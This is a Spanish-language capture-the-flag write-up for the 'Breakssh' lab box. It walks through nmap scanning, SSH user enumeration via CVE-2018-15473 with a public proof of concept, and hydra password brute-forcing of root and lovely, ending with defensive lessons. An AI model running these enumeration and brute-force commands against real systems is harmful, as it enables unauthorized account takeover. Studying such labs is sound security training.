Breakssh
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Breakssh es una caja de un solo servicio: un SSH con una versión vulnerable a la enumeración de usuarios (CVE-2018-15473). Distinguiendo por tiempos de respuesta qué usuarios existen (solorootylovelytienen shell), se reduce el espacio de ataque y una fuerza bruta con hydra entrega sus contraseñas. Con ellas se entra por SSH. Todo el reto vive en el 22.
Reconocimiento
Escaneo inicial
El escaneo de puertos deja un único puerto abierto: SSH.
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open <ip>PORT STATE SERVICE
22/tcp open sshnmap -p22 -sCV <ip> -oN targetedPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH (< 7.7)La versión de OpenSSH es anterior a la 7.7, el rango afectado por CVE-2018-15473.
Acceso: enumeración de usuarios SSH
CVE-2018-15473
En OpenSSH < 7.7 el servidor tarda distinto en responder según el usuario sea válido o no: ante un usuario existente procesa la (falsa) autenticación por clave pública y responde más tarde; ante uno inexistente corta antes. Midiendo esa diferencia se distingue un usuario válido de uno inválido, lo que permite enumerarlos sin credenciales. Usamos el PoC público de Sait-Nuri:
git clone https://github.com/Sait-Nuri/CVE-2018-15473
python3 sshUsernameEnumExploit.py --port 22 --userList <userlist.txt> <ip>Contra una lista amplia aparecen varios usuarios "válidos" (el sistema los reconoce), pero solo los que tienen una shell asignada son cuentas realmente aprovechables. En esta caja son root y lovely.
Explotación: fuerza bruta con hydra
Sabiendo qué usuarios existen, no hace falta probar la contraseña contra toda una lista de usuarios: se ataca directamente cada cuenta válida con hydra. Con -l fijamos el usuario y hydra solo itera el diccionario de contraseñas:
hydra -l root -P <rockyou.txt> ssh://<ip> -t 4
hydra -l lovely -P <rockyou.txt> ssh://<ip> -t 4[22][ssh] host: <ip> login: root password: <password>
[22][ssh] host: <ip> login: lovely password: <password>El parámetro-lfija un único usuario (más rápido);-L <lista>probaría un fichero de usuarios. Con los nombres ya confirmados por la enumeración,-les lo eficiente.
Con las credenciales, la conexión por SSH da acceso directo:
ssh root@<ip>
# o bien
ssh lovely@<ip>root entrega la máquina de inmediato; lovely sirve como acceso de usuario sin privilegios.
Cadena de ataque
SSH (OpenSSH < 7.7) -> CVE-2018-15473 (enumeración por tiempos)
└─> usuarios con shell: root, lovely -> hydra (fuerza bruta por usuario)
└─> credenciales -> ssh -> acceso (root)Lecciones aprendidas
- Una versión antigua de OpenSSH filtra su lista de usuarios. CVE-2018-15473 no da acceso por sí solo, pero convierte una fuerza bruta a ciegas en un ataque dirigido a cuentas que se sabe que existen.
- Enumerar antes de brutear ahorra tiempo. Fijar el usuario con
-levita multiplicar cada contraseña por cada usuario de la lista. - Solo cuentan las cuentas con shell. La enumeración marca muchos usuarios de sistema como "válidos"; los aprovechables son los que tienen
/bin/bash(o similar) en/etc/passwd. - SSH expuesto con contraseñas débiles sigue siendo el vector más simple. Actualizar OpenSSH y forzar autenticación por clave habría cerrado ambos pasos.